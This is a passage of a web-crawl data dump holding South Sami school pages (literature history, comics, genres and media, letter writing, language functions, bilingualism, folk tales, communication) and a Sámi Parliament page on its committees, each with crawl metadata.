lohkije-tjaaleginieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:175119\/topic:1:173412\/resource:1:173139","date":"2019-04-19T17:20:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00493.warc.gz","language":"sma","language_score":0.99994874,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999487400054932}","num_words":167,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dah båarasommes teeksth leah vuelieh jallh joejkeme-teeksth mah boelveste boelvese jåhteme. Jeenjemes daejstie teektsijste hearrah tjaaleme.\nVoestes teeksth\nDah voestes teeksth mah åehpies leah Guldnanas jïh Måersie faavroe mah gærjesne Lapponia. Olaus Sirma daejtie teekstide sov lohkehtæjjese Schefferus vedti. Schefferus gærjam Laponia bæjkoehti jaepien 1673. Anders Fjellner jïh Jakob Fellman aaj joejkeme-teeksth tjöönghkin. Åehpemes joejkeme-teekste lea Biejjie-baernien såangoe Jeahnaj eatnamisnie.\nVoestes romaane jaepien 1910 trygkesovvi jïh saemieh aelkieh tjiehpieslidteratuvren-tjaalegh tjaeledh. Tjaalegh jïh gærjah leah nasjonaale-romatihkeles tjaalegh. Maehtebe jiehtedh tjaalegh leah illedahke daaroedehteme-politihkeste.\nMij heannadi boelhkesne 1965 åvtelen?\nDaennie guvvie-raajrosne maahtah lohkedh dej vihkielommes heannadimmiej bïjre saemien siebriedahkesne jïh veartenisnie.\nLaavenjassh: Don aejkien vaarjoej bïjreKjernestoff\nLaavenjassh: Tïjjen 1965 åvtelenKjernestoff\nLaavenjassh: Biejjie-baernieKjernestoff\nLaavenjassh: Johan Turin tjaalegidieKjernestoff\nTjaelieh ussjeden tjaalegemKjernestoff\nLaavenjasse Elsa Laulan bïjreKjernestoff\nLaavenjassh Elsan håalemasseKjernestoff\nÅehpiedehtieh saemien-faageles teemamKjernestoff\nLaavenjassh: GuldnasasKjernestoff\nLaavenjassh: Såångedidh jïh pruvredhKjernestoff\nMåersie faavroeKjernestoff\nSoelege jih nåejtieKjernestoff\nDon aejkien vaarjoej bïjreKjernestoff\nBiejjie-baernien såangoeKjernestoff\nBiejjie-niejten sealadimmieKjernestoff\nVaajese juvri bïjreKjernestoff\nMaana-sujhtemen bïjreKjernestoff\nSaemien tsiehkiej bïjreKjernestoff\nDej baaletje såangoeKjernestoff\nKaarre mij edtji vïjvem veeljedhKjernestoff\nSåångedimmie jïh hïejeKjernestoff\nÅenehks soptseshKjernestoff\nGuldnasasKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:189078\/resource:1:183352","date":"2019-04-19T17:28:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00557.warc.gz","language":"sma","language_score":0.999791801,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9997918009757996}","num_words":164,"character_repetition_ratio":0.143,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bobla-hammoe lissie-bïevnesh vadta gosse guvvie-raajroem lohkh. Tjoeje-bielie seerijinie sïejhmemes goh boblah båata. Bobla-hammoe vuesehte mejtie tjoeje tjarke jallh viesjehts, faahketji jallh guhkiem ryöhkoe. Dïhte aaj vuesehte gubpede tjoeje jallh gïele båata, jïh magkeres såarhts tjoeje lea.\nEffekte-tjoeje\nEffekte-tjoeje lea tjoeje mij lissine båata dïsse mïsse jeahtasåvva. Effekte-tjoejh pråvhka maaje guvvien sïjse guvviedidh goh jïjtsh grafihkeles biehkieh mah akte bielie guvveste sjidtieh.\nGuvvie-raajroeKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:175143\/topic:1:175146\/resource:1:172773","date":"2019-04-19T17:22:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00287.warc.gz","language":"sma","language_score":0.9998996258,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998996257781982}","num_words":62,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fagkomiteene er:\nMoenehtsetjåanghkoeh leah stoerretjåanghkoej åvteli. Sïejhmemes njieljie våhkoeh åtnasuvvieh moenehtse- jïh stoerretjåanghkojde. Moenehtsetjåanghkoeh leah måantan jïh dæjstan, stoerretjåanghkoe gaskevåhkoen raejeste bearjadahken raajan.\nLissine faagemoenehtsidie aaj gïehtjedimmiemoenehtse jïh veeljeemmoenehtse.\nGïehtjedimmiemoenehtse edtja parlamentarihkeles gïehtjedimmiem jïh stuvremegïehtjedimmiem utnedh barkoen biïre mij finansieradimmiem åådtje Saemiedigkien budsjedten bijjelen. Dah edtjieh aaj Saemiedigkien jaepiereeknehlåhkoem gïehtjedidh jïh dastegh mïerhkesjimmieh reeknelåhkose Rijhkerevisjovneste. Moenehtse maahta goerehtimmieh Saemiedigkien reeremisnie darjodh mejtie åtna daerpies. Gïehtjedimmiemoenehtse raeriestimmiem buakta Saemiedigkien stoerretjåanghkose dejnie aamhtesinie mejtie bæjjese vaalta gïetedæmman, goh jïjtse aamhtese jallh moenehtsen jaepiebïevnesen tjïrrh.\nVeeljememoenehtse aamhtesh gïetede gusnie Saemiedigkien stoerretjåanghkoe edtja nænnoestimmieh darjodh veeljemen bïjre årgaanide Saemiedigkien sisnie jallh ålkolen. Moenehtsen laavenjasse lea aamhtesen ryöjredidh jïh raeriestimmiem vedtedh stoerretjåanghkose aamhtesisnie maam moenehtse lea stoerretjåanghkoste åådtjeme.\nLaejhtememoenehtse dåarjoeaamhtesisnie\nSaemiedigkien stoerretjåanghkoe lea Saemiedigkien laejhtememoenehtsem dåarjoeaamhtesidie tseegkeme 2011. Laejhtememoenehtsisnie 3 lïhtsegh jïh 2 sæjjasadtjh.\nDaah leah veeljesovveme boelhkese 2018-2021:\nLïhtsegh:\n- Ingar Nikolaisen Kuoljok (åvtehke)\n- Kirsti Guvsám\n- Hagbart Grønmo\nSæjjasadtjh\n- Randi A. Skum\n- Jarle Jonassen\nSaemiedigkien laejhtememoenehtsen gïetedimmie aktede aamhtesistie lea ajve aamhtesereeremem jïh reaktanuhtjemem gïehtjedidh. Laejhtememoenehtse ij maehtieh aamhtesh bæjjese vaeltedh jïjtjevieltien. Laejhtememoenehtse maahta aamhtesh hiejhtedh mah eah leah laajhtasovveme sïejhme mieriej åvtelen.\nSaemiedigkien laejhtememoenehtse edtja laejhtemeaamhtesegïetedimmiem dejstie laajhteme aktegsnænnoestimmijste, reeremelaaken njoelkedassi mietie tjïrrehtidh. Laejhtememoenehtse edtja reaktajearsoesvoetem gorredidh dejtie mah vierhtieh syökoeh Saemiedigkien dåarjoeöörnegi bijjeli, Saemiedigkien njoelkedassi jïh budsjedten mietie. Nænnoestimmieh mejtie laejhtememoenehtse lea dorjeme leah minngemosth.\nLaejhtije maahta nuepiem åadtjodh jïjtjemse tjïelkestidh laejhtememoenehtsasse. Laejhtememoenehtsen åvtehke sjæjsjele mejtie laejhtije edtja nuepiem åadtjodh sov vuajnoem aamhtesen bïjre buektedh laejhtememoenehtsasse.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.saemiedigkie.no\/Politihke\/Moenehtsh","date":"2019-04-24T18:15:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578655155.88\/warc\/CC-MAIN-20190424174425-20190424200425-00143.warc.gz","language":"sma","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000083446502686}","num_words":229,"character_repetition_ratio":0.135,"word_repetition_ratio":0.0,"special_characters_ratio":0.115,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mij sjangere jïh mij medijume? Dah joekehts? Snap-bïevnese sjangere? Tv-programme sjangere? Ijje, ij gærja gænnah akte sjangere. Men medijume lea dïrrege maam mijjieh nuhtjebe gosse govlesadtebe. Sjangere lea elliesvoete gusnie dovne medijume, sisvege jïh hammoe leah meatan.\nMedijume\nMedijume lea dïrrege maam mijjieh nuhtjebe gosse edtjebe govlesadtedh. Jis edtjebe musihkem tjoejehtidh dellie mijjieh tjoejehtahkh daarpesjibie. Men maehtebe tjoejehtahkem aaj nuhtjedh gelline sjangerinie. Vuesiehtimmien gaavhtan maehtebe gitaarem tjoejehtidh gosse edtjebe joekehth laavlomh laavlodh goh maana-laavlomh, pop-laavlomh, rock-laavlomh, jnv. Gosse mijjieh tjaaleldh jïh njaalmeldh govlesadtemem nuhtjebe, maehtebe aaj joekehth medijumh nuhtjedh.\nAkte gærja maahta romaanem jallh biografijem årrodh. Men aktene gærjesne maahta gellie gurreme-bïevnesh årrodh. Gosse raadijovem goltelibie dellie maehtebe ovmessie programmh goltelidh goh musihke-programmh, gihtjeme-gaahtjemh, gihtjedimmieh, jnv. Jis bloggem tjaelebe dellie maehtebe biejjie-gærjam tjaeledh, men aaj fealadimmie-soptsesh jallh faageles digkiedimmieh.\nMedijume hammoem tsavtsa\nNaan aejkien medijume stuvrie magkerem govlesadtemem gåarede nuhtjedh. Gosse mijjieh raadijovem veeljebe dellie ibie maehtieh guvvieh vuesiehtidh. Jis tv:em veeljebe, dellie ibie maehtieh jïjnjh tjaalegh meatan utnedh.\nLæjhkan jis ibie tjaalegh utnieh, maehtebe saadtegh darjodh dovne raadijovisnie jïh tv:sne. Aajkoe lea seamma, men medijume tsavtsa maam mijjieh veeljebe meatan utnedh gosse programmem darjobe.\nMaaj-lïerehtimmesne medijume aaj lïerehtimmien tsavtsa. Dellie geerve learoehkidie jïh lohkehtæjjide laavlodh jïh stååkedidh.\nRïektes baakoem nuhtjedh\nGosse soptsestibie dellie sïejhme mijjieh medijumem jïh sjangerenommh pleentebe. Vuesiehtimmien gaavhtan akte nyöjtetje 6 jaepien båeries soptsesti, SMS-bïevnesem åådtjeme gusnie dan voelpen nomme jïh årromesijjie. Jeehti: Im SMS-bïevnesem telefovnesne åådtjeme, men SMS-bïevnesem aktene paehpierisnie.\nNyöjtetje lij vaane bïevnesem telefovnesne åadtjodh, men ij paehperem gusnie maam akt tjaaleme. Dan åvteste tuhtji hijven gosse SMS-bïevnesem utni gïetesne. Biejjieladtje gïele ij leah seammalaakan guktie faage-gïele. Gosse mijjieh tjaalegigujmie barkebe saemiengïele-faagine, dellie mijjieh tjoerebe daejredh mij medijume jïh mij sjangere.\nSjangerhKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:159493\/topic:1:159687\/resource:1:159877","date":"2019-04-19T17:04:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00319.warc.gz","language":"sma","language_score":0.9999810457,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999810457229614}","num_words":277,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh byjjes prievieh barkoe-jieliedisnie nuhtjebe, men aaj gosse mijjieh goh privaate almetjh åejvieladtjide, siebride jallh almetjidie tjaelebe mejtie ibie damth. Dovne sïelth jïh byögkeles etaath e-påastem jïh SMS:m nuhtjieh, men såemies aejkien dle annje daerpies paehpere-prieviem tjaeledh.\nByjjes prievieh leah tjaalasovveme vihties njoelkedassi mietie. Åssjele njoelkedassigujmie lea tjaeledh guktie prievie sjeakoes sjædta jïh aelhkie lohkedh.\nSeedtije\nTjaelieh dov nommem jïh adressem bijjemes gårroeh roenesne. Rïekte påaste-adressen nuelesne maahtah dov tellefovne-nommerem jïh e-påaste-adressem tjaeledh.\nDaatove\nDaatove edtja seamma linjesne årrodh goh seedtijen påaste-sijjie, ånnetji gaskoen åelkies-bielesne. Daatovem lea aelhkemes lohkedh jis asken nommem tjaalah.\nDåastoje\nNjulhtjh naan linjah bijjelen, tjaelieh nommem jïh adressem dåastoejasse.\nBijjie-baakoe\nBijjie-baakoe edtja soptsestidh man bïjre prievie jïh edtja gïsse bokstaavigujmie jïh bielelen sïevem årrodh. Vaallah edtjh punktume jallh jeatjah juekeme-væhtah bijjie-baakoen minngesne.\nAalkoe\nAalkoe edtja åenehks årrodh. Tjïelkesth maam aamhtesidie datne sïjhth bæjjese vaeltedh. Jis aktem vaestiedasse-prieviem tjaalah, iktesth aalkah annonsese jallh preavan vuesiehtidh maam vaestedh. Aalkoen mænngan aktem gåaroes linjam bïejh - åvtelen åejvie-boelhkine aalkah.\nÅejvie-boelhke\nÅejvie-boelhkesne veelebe aamhtesen bïjre tjaalah, jïh gihtjh dan bïjre mïsse ussjedh. Darjoeh boelhkem åvtelen galhkuvinie aalkah.\nGalhkuve\nGalhkuve edtja åenehks årrodh. Maedtedh maaje dåastojem dåajmijeslaakan dallah vaestiedidh, guktie lea dorjeme vuesiehtimmesne. Minngemosth galhkoeh baakoejgujmie \"heelsegh\" jallh \"jïjnjh heelsegh\" jïh dov nommine. Mujhtieh nommem aaj gïetine tjaeledh.\nLissie-tjaalegh\nLissie-tjaalegh leah paehperh, brosjyrah jïh plearoeh mejtie prievine ektine seedth. Minngemes tjaalah man gellie lissie-tjaalegh datne seedth dov nommen vuelielisnie.\nDåajmijesvoete-hammoe\nGosse prieviem tjaalah akten vihties almetjasse, maahtah datne nuhtjedh. Dastegh prieviem akten sïeltese tjaalah jïh prievie ij leah akten sjïere almetjasse, nuhtjh hammoem dijjieh. Men mujhtieh dovne datne jïh dijjieh edtjieh onne åvte-bokstaavine tjaalasovvedh.\nE-påaste-prievie\nE-påaste-prievie jeatjahlaakan vååjnoe goh paehpere-prievie, jïh e-påaste-prievesne ij daarpesjh dan byjjeslaakan tjaeledh goh trygkeme prievesne.\nVïjhteboelhke-vuekien bïjreKjernestoff\nDigkiedimmie-lahteseKjernestoff\nKååserijeKjernestoff\nPersovneles essayKjernestoff\nFaage-tjaalegeKjernestoff\nTjåanghkoeKjernestoff\n- Kjernestoff\nNaemhtie byjjes prievie maahta vååjnedhKjernestoff\nGuktie e-påastem tjaeledhKjernestoff\nKååserije jïh petiteKjernestoff\nLohkije-tjaalegeKjernestoff\nAkte hijven maadth-bïhkedasseKjernestoff\nGïeleviehkie-dïrregh lohkije-tjaaleginieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:175119\/topic:1:173412\/resource:1:173108","date":"2019-04-25T22:32:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578742415.81\/warc\/CC-MAIN-20190425213812-20190425235812-00399.warc.gz","language":"sma","language_score":0.9999930859,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.999993085861206}","num_words":304,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daesnie laavenjassh faage-sæjrose \"Gïele-funksjovnh\" gaavnh.\n1. laavenjasse\nMij gïele-funksjovnide jeenjemes nuhtjh?\nGosse datne:\n- maam akt bïhkedh\n- jeahtah: \"Gïerth mannem.\"\n- buarastahtah\n- vearelde-bïevnesh raadijovisnie govlh\n- naakenem biejjine læhkosth\n- aavosne jallh hujnesne eksamene-vuarjasjimmien bïjre soptsesth\n- dov gåetien bïjre soptsesth\n- gïem akt soptsestahtah tjinose vuelkedh\n- beapmoeh laajhtah\n- gærroeh\n- vearelden bïjre soptsesth\n- naakenem viehkine gihtjh\n2. laavenjasse\nGaavnh gïele-funksjovnide daejnie tjaaleginie.\n1. Tjaalege\nBiehkie vuelielisnie nedte-sæjroste Saemesth munnjien, Saemie-digkesne veedtjeme.\n\"Saemesth munnjien\" akte kampanje abpe laantesne mij gaajhkide saemien noeride feerhmie, dovne dah mah saemiestieh, ånnetji saemien maehtieh jïh dah mah eah saemien maehtieh.\nKampanjen ulmieh:\n- lissiehtamme åtnoe saemien gieleste\n- jienebh saemien gïelem nuhtjieh\n- saemien gïele åtnasåvva jieniebinie sijjine\n- saemien gïele våajnoes sjædta\n- lissiehtamme goerkese siebriedahkesne ihke vihkeles mijjieh åadtjobe mijjen gïelem nuhtjedh\"\n2. Tjaalege\nBiehkie vuelielisnie gærjeste SMS Sopperoste maam Ann-Helen Laestadius tjaaleme.\n\"Hinten gïete mojhteles-laakan svihtji jïh ojhte lij Agnesen onnesoerme jïh soermese Hinten baahke gïetesne. Dïhte lij dan lïhke gïetem steeredh maam meehti båetedh. Agnese dejtie sov feerhmeme soermide svihtji, ajve ånnetji, guktie Hinte edtji guarkedh dah soermh edtjieh aajmene årrodh jïh satne dam lyjhki. Dellie Hinte satnem vuartasji jïh mojjehti guktie dïhte vælnjoeh åvtebaenie vååjnesasse bööti. Agnese bååstede mojjehti. Dïhte lij dan læhkoes.\" (Laestadius 2008:66)\n3. Tjaalege\nBiehkie vuelielisnie Saemiedigkien nedte-sæjroste SáNuL\/SUPU veedtjeme.\n\"Saemiedigkien noerepolitihkeles moenehtse jïh saemien noeresiebrie Noereh! leah ektesne vaajtelimmien bïjre vielie saemien filmi jïh lidteratuvri bïjre. Mijjieh sïjhtebe lyjhkedihks filmh jïh seerijh dubbadidh saemien gïelese, jïh joekoen maanide, jïh mijjieh sïjhtebe gærjah jïh guvvieraajroeh mejtie jeenjesh åestieh, saemiengielese jarkoestidh. Mijjieh sïjhtebe aktem orre domenem sjïehtesjidh goh åtnoesuerkie saemien gïelide. Noerh gïelem daarpesjieh dejnie sijjine dah raaktan nuhtjieh.\" ( SáNuL\/SUPU)\n3. laavenjasse\nVuartesjh guvviem jïh buerkesth gïele-funksjovnide.\n4. laavenjasse\nTjaelieh golme åenhkes tjaalegh. Voestes bievnije tjaalege, mubpie ekspressijve tjaalege jïh gåalmede vihth appellatijve tjaalege.\nGovlesadtedhKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:164987\/topic:1:161361\/resource:1:167014","date":"2019-04-19T17:06:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00511.warc.gz","language":"sma","language_score":0.9999982119,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999982118606567}","num_words":278,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Learoe-soejkesjen ulmien mietie dellie maanah gelkieh åtnoes guektien-gïelen sjïdtedh. Åtnoes guektiengïelen-voete lea gosse daaroen-gïelen learohke saemien-gïelem dan hijven leara guktie biejjegi dejnie gaegnede.\nÅtnoes guektiengïelen-voete\nSeammalaakan gosse saemien-gïelen learohke daaroen-gïelem dan hijven leara guktie dejnie gaegnede beajjetje jieliemisnie. Dellie lea åtnoes guektiengïelen-voete. Åtnoes guektiengïelen-voeten ulmie jeahta learohkh gelkieh saemien-gïelen siebriedahkesne guarkadidh jïh doestedh saemiestidh.\nVuesiehtimmie\nVuesiehtimmine Kaj Aantam veeljebe gie årroeminie Guovdageajnosne gubpene 855 almetjh saemiestieh. Dïhte daaroen-gïelen påajke. Jalts saemien-gïelem hijven guarkoe dellie ij saemesth. Gosse voelpigujmie ektesne skuvlesne jallh ålkone dellie dah altese voelph saamastellieh gaskemsh. Satnine die daaroestieh. Nov gujht hijvene gåarede juktie gaajhkh dah sinsitniem demtieh. Kaj Aanta lïjhke åtna nåake ij dïhte saemesth. Muvhtene jåasan domtoe gosse ij maehtieh saemiestidh. Dan åvteste vaejvede. Nimhtie dam ussjedamme saemien lïeredh guktie buektehte soptsestallemisnie meatan. Gosse saemien-gïelem leara guktie mubpiejgujmie ektesne dahkesje jïh gaajhkesh guarkadieh, dellie dïhte åtnoes guektien-gïelen.\n- 1«Gïele lea faamoe». Maren Palismaa. Davvi Girji. 2006.\nJienebegïelevoeteKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:179502\/topic:1:176815\/resource:1:176750","date":"2019-04-19T17:07:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00051.warc.gz","language":"sma","language_score":0.9999904633,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999904632568359}","num_words":148,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.041,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åsta Vangberg heamturem \"Tjïjhtjede aehtjie gåetesne\" jarkoestamme. Heamture gærjeste \"Nieljie åålmeg-heamturh\" veedtjeme. Datne maahtah dovne heamturem lohkedh jïh aaj vuejnedh guktie maahtah heamturen væhtah gaavnedh.\nTjïjhtjede aehtjie gåetesne\nFealadæjja-ålma lea vaedtsieminie sijjeste sæjjan. Akten aejkien tjaebpies voenese båata. Dellie vuajnije joekoen tjaebpies gåetiem, eevre goh slåahte.\n\"Daesnie edtja njaelkie sjïdtedh lïegkedidh\", ålma ussjede. Fievsien baalte båeries ålma tjåadtjoeminie moerh låadtoeminie.\n\"Buerie iehkede\", fealadæjja jeahta, \"govlh ennje, manne leam gåhkese fealadamme jïh dovne nealkoes jïh nahkeren. Dov lea gåetie-luhpie munnjien?\"\nLohkh vielie\n\"Njaa\", ålma jeahta, \"im leah manne dïhte daesnie reereminie, vaedtsieh tjöövkese jïh gihtjh mov aehtjiem\".\nFealadæjja båata tjöövkese gusnie båeries ålma aernien baalte tjåadtjoeminie dållese båssoeminie.\n\"Buerie iehkede aehtjie\", fealadæjja jeahta. \"Manne leam dov baernine soptsestamme jïh dïhte raeriesti datnine aaj soptsestidh. Manne leam gåhkese fealadamme jïh nimhtie dovne nealkoes jïh nahkeren. Dov lea gåetie-luhpie munnjien?\"\n\"Njaa, men im leah manne dïhte aehtjie daennie gåetesne. Vaedtsieh mov aehtjine soptsesth gie lea ståaposne buertie-bealesne tjahkan\".\nFealadæjja ojhte ståapose vaadtsa jïh vuajna dam gie buertie-bealesne tjahkan. Dïhte sagke båarasåbpoe dejstie jeatjabijstie, tjahkan gærjesne lohkeminie.\n\"Buerie iehkede aehtjie\", fealadæjja jeahta. \"Manne leam dov baernine jïh aajjuvinie soptsestamme. Manne leam gåhkese fealadamme jïh nimhtie dovne nealkoes jïh nahkeren. Dov lea gåetie-luhpie munnjien?\"\n\"Njaa, im hov leah manne dïhte daesnie reereminie. Tjoeverh mov aehtjine soptsestidh guhte lea dunnie bïenghkesne tjahkan\".\nFealadæjja åejjiem firrie jïh bïenghken gåajkoe vaadtsa. Båeries-aehtjie bïenghkesne bæjhpam tsïhkijehtieminie, men dan svalkoeh guktie ij mahte buektehth gænnah.\n\"Buerie iehkede aehtjie\", fealadæjja vihth. \"Manne leam dov baernine, dov aajjuvinie, dov aajjuven baernine soptsestamme. Dov lea gåetie-luhpie munnjien?\"\n\"Im leah manne dïhte aehtjie daennie gåetesne\", krukngie jeahta. Gihtjh mov aehtjiem dunnie seangkosne.\" Fealadæjja seangkoen gåajkoe vaadtsa jïh desnie vuajna dagkeres onne ålmam gïen barre stoerre tjelmieh.\n\"Buerie iehkede, aehtjie, mejtie dov gåetie-luhpie munnjien?\" fealadæjja vihth.\n\"Im manne daejrieh, gihtjh mov aehtjiem dunnie gïerhkemisnie\", båeries-skodtje jeahta.\nFealadæjja ojhte vaadtsa gïerhkemen gåajkoe jïh desnie slïedtje-ålmam vuajna.\n\"Buerie iehkede, aehtjie, dov lea gåetie-luhpie munnjien?\" fealadæjja gihtjie. Båeries-skodtje ij mahte maam buektehth jiehtedh gænnah. Minngemes buektehte bïeljelidh altese aehtjine soptsestidh gie dunnie vïedtjesne kåarjesne gæhtsan.\nFealadæjja vïedtjese guavla jïh ojhte joekoen onne almam vuajnije. Tjarki tjåårve: \"Buerie iehkede, aehtjie, dov lea gåetie-luhpie munnjien?\" Jællan seakoes gïele kåarjeste govloe: \"Jaavoe, mov maanetje\".\nFaahketji buertie gåatan båata gusnie ålvas jïjnjh njaelkies beapmoeh. Goh byöpmedamme jïh jovkeme, dellie buerie seangkoe aaj båata mesnie fealadæjja maahta åeredh. Fealadæjja dan geerjene juhkoe dam gåetien rïektes aehtjiem lea gaavneme.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185447\/resource:1:129061","date":"2019-04-19T17:15:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00543.warc.gz","language":"sma","language_score":0.9999932051,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999932050704956}","num_words":395,"character_repetition_ratio":0.097,"word_repetition_ratio":0.031,"special_characters_ratio":0.166,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vihkielommes govlesadteme-tsiehkesne leah seedtije, dåastoje, dïjre jïh medijume. Gosse datne jeatjabidie almetjidie maam joem beavnah jallh buaktah, dellie datne seedtije. Gosse bïevnesh åadtjoeh dellie datne dåastoje. Dam maam datne saarnoeh, dej bïevnesi sisvege, dïjrine gåhtjobe.\nMedijumen tjïrrh buektebe bïevnesh seedtijistie dåastoejasse seedtedh. Medijume lea persovneles goh prievie, soptsestalleme jïh SMS:e. Medijume lea aaj byjjes govlesadteme goh TV:e, raadijove jïh plaerieh. Sosijaale medijumh maehtieh dovne persovneles jïh byjjes årrodh.\nAlmetjidie daaletje siebriedahkesne lea vihkeles maehtedh hijvenlaakan govlesadtedh. Njaalmeldh jïh tjaaleldh govlesadtemen tjïrrh maahtah jïjtjedh åssjaldahki bïjre soptsestidh, dov mïelh jïh vuarjasjimmieh mubpide almetjidie buektedh. Almetjh maehtieh aaj voejhkelidh datnem tsevtsedh. Jis ih daam vueptesth dellie aelhkebe datnem tsevtsedh. Datne maahtah ovmessie såarhth tjaalegh darjodh, gïetine tjaeledh jallh digitaale vuekine. Aaj maahtah gïelem jïh hammoem sjïehtedidh ovmessie åssjelidie, dåastoejidie, tsiehkide jïh medijumidie.\nVihkeles mujhtedh dåastoje maahta dïjrem guarkedh jïjtse mïeline. Ij daarpesjh dïjrem guarkedh seammalaakan guktie seedtije veanhta dïhte dåastoje edtja dam guarkedh.\nGovlesadtedhKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:164987\/topic:1:161361\/resource:1:162751","date":"2019-04-24T03:07:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578624217.55\/warc\/CC-MAIN-20190424014705-20190424040705-00084.warc.gz","language":"sma","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000063180923462}","num_words":152,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate Inuitten soptsese lea gærjeste Lohkede saemien veedtjeme, maam Knut Bergsland jïh Ella Holm Bull tjaaleme. Soptsese akte inuihte soptsese. Daennie soptsesisnie åadtjoeh jïjsen-ledtien bïjre lohkedh.\nJïjsen-ledtie\nJïjse göökte njåemelh bïksi jïh voelkehti.\nGåmmobe jeehti: \"Vaeltieh barre aktem!\"\n\"Boelhke lea askeste måbpan!\" jïjse svååri.\nDah njåemele-guaktah hajkegöötigan fïere guhte bieliem stoerre gierkiem. Akte struvkesti jïjsen aktem juelkiem, mubpie dam mubpiem. Jïh jïjse gajhkani jïh jeemi dle 